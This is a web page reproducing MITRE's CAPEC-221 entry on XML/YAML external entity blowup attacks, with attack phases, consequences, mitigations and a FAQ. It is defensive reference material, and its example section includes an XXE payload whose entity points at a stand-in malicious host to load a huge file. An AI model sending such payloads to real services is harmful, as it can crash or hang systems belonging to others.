CAPEC-221: Data Serialization External Entities Blowup
This attack takes advantage of the entity replacement property of certain data serialization languages (e.g., XML, YAML, etc.) where the value of the replacement is a URI. A well-crafted file could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.
Last updated
Overview
CAPEC-221 (Data Serialization External Entities Blowup) is a detailed-level attack pattern catalogued by MITRE in the Common Attack Pattern Enumeration and Classification (CAPEC). It describes a recurring method attackers use to exploit software weaknesses.
How the attack works
The phases an attacker typically follows.
- Step 1Explore
[Find target web service] The adversary must first find a web service that takes input data in the form of a serialized language such as XML or YAML.
- Step 2Experiment
[Host malicious file on a server] The adversary will create a web server that contains a malicious file. This file will be extremely large, so that if a web service were to try to load it, the service would most likely hang.
- Step 2Experiment
[Craft malicious data] Using the serialization language that the web service takes as input, the adversary will craft data that links to the malicious file using an external entity reference to the URL of the file.
- Step 4Exploit
[Send serialized data containing URI] The adversary will send specially crafted serialized data to the web service. When the web service loads the input, it will attempt to download the malicious file. Depending on the amount of memory the web service has, this could either crash the service or cause it to hang, resulting in a Denial of Service attack.
What the attacker needs
Prerequisites
- A server that has an implementation that accepts entities containing URI values.
Consequences
What a successful CAPEC-221 attack can achieve.
Resource Consumption
Affects: Availability
Execute Unauthorized Commands
Affects: Confidentiality, Integrity, Availability
Run Arbitrary Code
How to mitigate it
Defenses that reduce the risk of CAPEC-221.
- This attack may be mitigated by tweaking the XML parser to not resolve external entities. If external entities are needed, then implement a custom XmlResolver that has a request timeout, data retrieval limit, and restrict resources it can retrieve locally.
- This attack may be mitigated by tweaking the serialized data parser to not resolve external entities. If external entities are needed, then implement a custom resolver that has a request timeout, data retrieval limit, and restrict resources it can retrieve locally.
Examples
In this example, the XML parser parses the attacker's XML and opens the malicious URI where the attacker controls the server and writes a massive amount of data to the response stream. In this example the malicious URI is a large file transfer. <?xml version="1.0"?> < !DOCTYPE bomb [ <!ENTITY detonate SYSTEM "http://www.malicious-badguy.com/myhugefile.exe"> ]> <bomb>&detonate;</bomb>
Terminology & mappings
Mapped taxonomies
- WASC: XML External Entities (43)
Frequently asked questions
Common questions about CAPEC-221.
- What is CAPEC-221?
- This attack takes advantage of the entity replacement property of certain data serialization languages (e.g., XML, YAML, etc.) where the value of the replacement is a URI. A well-crafted file could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.
- How does a Data Serialization External Entities Blowup attack work?
- It typically unfolds over 4 phases. It begins with: [Find target web service] The adversary must first find a web service that takes input data in the form of a serialized language such as XML or YAML.
- How do you prevent CAPEC-221?
- This attack may be mitigated by tweaking the XML parser to not resolve external entities. If external entities are needed, then implement a custom XmlResolver that has a request timeout, data retrieval limit, and restrict resources it can retrieve locally.
- What weaknesses does CAPEC-221 target?
- CAPEC-221 exploits one CWE weakness: CWE-611 (Improper Restriction of XML External Entity Reference).
References
Attack-pattern data is sourced from the MITRE CAPEC catalog (v3.9). Weakness associations link to the corresponding CWE entries on RadicalNotion.AI.
Defend against CAPEC-221
Track the CVEs and weaknesses this technique exploits, with AI-written analysis and remediation steps.